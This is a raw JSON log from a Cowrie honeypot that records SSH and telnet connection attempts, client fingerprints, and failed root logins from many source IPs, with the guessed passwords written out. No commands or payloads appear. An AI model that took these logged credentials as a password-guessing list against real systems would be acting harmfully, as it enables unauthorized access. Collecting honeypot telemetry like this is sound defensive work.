{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:d6:a3:c4:9a:a8:7c:24:7f:7d:c8:f7:b7:a4:82:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvAh//oZdZYfimxZCY4Z4HQxOycT1ibnL6vyEVhr3UA9TKhT8+2mR0ivgEgOgwHYfdrQQii46qIxLy0SR/9HgPT5zyaY5Hz111/AH4kzpTo/NBZs8X7lmB2EXx/C7CDUUhGvMKBLvKKoyHDqfkAUJ/TjtJUR3lGKEyV9b9uAQYn5j4JkCzUV9JlfSji7ZPn9iRkOLu9NWHgIG3hBcbsqU5W2K5c6pld7OskRz2gHKN46zRNVD95/sUed+gfBX2NRIZrztvE8B5RFE5VVG+6/0/GRk203w1FKYkwaRsMCCP8j/aFKYUUEvz9nOjSaAjAg60kLHCHrfIM3pgd4Co4z6/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.345751Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:35.422659Z","src_ip":"208.115.214.194","session":"45547d382136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":55572,"dst_ip":"10.17.0.5","dst_port":22,"session":"751ba3a13ad0","protocol":"ssh","message":"New connection: 194.113.233.25:55572 (10.17.0.5:22) [session: 751ba3a13ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:52.479822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:52.485766Z","src_ip":"194.113.233.25","session":"751ba3a13ad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:52.569589Z","src_ip":"194.113.233.25","session":"751ba3a13ad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20081980","message":"login attempt [root/20081980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:52.922785Z","src_ip":"194.113.233.25","session":"751ba3a13ad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:49:54.014928Z","src_ip":"194.113.233.25","session":"751ba3a13ad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":20080,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba5de735350","protocol":"ssh","message":"New connection: 178.128.39.166:20080 (159.203.135.109:22) [session: 1ba5de735350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:24.965761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:24.981636Z","src_ip":"178.128.39.166","session":"1ba5de735350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:25.078145Z","src_ip":"178.128.39.166","session":"1ba5de735350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123","message":"login attempt [root/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:25.475731Z","src_ip":"178.128.39.166","session":"1ba5de735350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:26.574814Z","src_ip":"178.128.39.166","session":"1ba5de735350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58454,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c271dcb5ff8","protocol":"telnet","message":"New connection: 107.6.151.170:58454 (159.203.135.109:23) [session: 8c271dcb5ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:32.073963Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":30092,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6fadf0a849","protocol":"ssh","message":"New connection: 91.92.40.23:30092 (10.17.0.5:22) [session: ee6fadf0a849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:39.862344Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:39.945251Z","src_ip":"91.92.40.23","session":"ee6fadf0a849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":23630,"dst_ip":"10.17.0.5","dst_port":22,"session":"45d071848652","protocol":"ssh","message":"New connection: 91.92.40.23:23630 (10.17.0.5:22) [session: 45d071848652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:59.474940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:59.481033Z","src_ip":"91.92.40.23","session":"45d071848652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:59.571688Z","src_ip":"91.92.40.23","session":"45d071848652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ankurkudintzi","message":"login attempt [root/ankurkudintzi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:50:59.928473Z","src_ip":"91.92.40.23","session":"45d071848652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:01.100661Z","src_ip":"91.92.40.23","session":"45d071848652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37172,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa5399c37efa","protocol":"ssh","message":"New connection: 103.82.132.16:37172 (10.17.0.5:22) [session: fa5399c37efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:04.746304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:04.751462Z","src_ip":"103.82.132.16","session":"fa5399c37efa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":48654,"dst_ip":"10.17.0.5","dst_port":23,"session":"6433dcc9377a","protocol":"telnet","message":"New connection: 72.167.226.244:48654 (10.17.0.5:23) [session: 6433dcc9377a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:04.922994Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:05.005906Z","src_ip":"103.82.132.16","session":"fa5399c37efa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180782","message":"login attempt [root/180782] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:05.830162Z","src_ip":"103.82.132.16","session":"fa5399c37efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:07.090245Z","src_ip":"103.82.132.16","session":"fa5399c37efa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.23806643486023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:35.160922Z","src_ip":"72.167.226.244","session":"6433dcc9377a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.95221996307373,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:53.026045Z","src_ip":"107.6.151.170","session":"8c271dcb5ff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":34004,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce9d5bb4a6ba","protocol":"ssh","message":"New connection: 165.22.184.88:34004 (159.203.135.109:22) [session: ce9d5bb4a6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:56.539944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:56.544721Z","src_ip":"165.22.184.88","session":"ce9d5bb4a6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:56.549471Z","src_ip":"165.22.184.88","session":"ce9d5bb4a6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N3x0!S3cur3#W0rd","message":"login attempt [root/N3x0!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:56.566789Z","src_ip":"165.22.184.88","session":"ce9d5bb4a6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:51:57.573507Z","src_ip":"165.22.184.88","session":"ce9d5bb4a6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":44194,"dst_ip":"159.203.135.109","dst_port":22,"session":"6688dcf4220a","protocol":"ssh","message":"New connection: 89.223.69.22:44194 (159.203.135.109:22) [session: 6688dcf4220a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:19.979990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:19.983943Z","src_ip":"89.223.69.22","session":"6688dcf4220a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:20.091802Z","src_ip":"89.223.69.22","session":"6688dcf4220a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"412412","message":"login attempt [root/412412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:20.410433Z","src_ip":"89.223.69.22","session":"6688dcf4220a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:21.517558Z","src_ip":"89.223.69.22","session":"6688dcf4220a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":42640,"dst_ip":"10.17.0.5","dst_port":22,"session":"05f47983835a","protocol":"ssh","message":"New connection: 103.82.20.28:42640 (10.17.0.5:22) [session: 05f47983835a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:22.032767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:22.036338Z","src_ip":"103.82.20.28","session":"05f47983835a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:22.292251Z","src_ip":"103.82.20.28","session":"05f47983835a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"090487","message":"login attempt [root/090487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:23.064440Z","src_ip":"103.82.20.28","session":"05f47983835a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:24.323699Z","src_ip":"103.82.20.28","session":"05f47983835a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":33882,"dst_ip":"10.17.0.5","dst_port":22,"session":"80ba9b67fac9","protocol":"ssh","message":"New connection: 103.77.175.15:33882 (10.17.0.5:22) [session: 80ba9b67fac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:25.915648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:52:25.919273Z","src_ip":"103.77.175.15","session":"80ba9b67fac9","protocol":"ssh"}
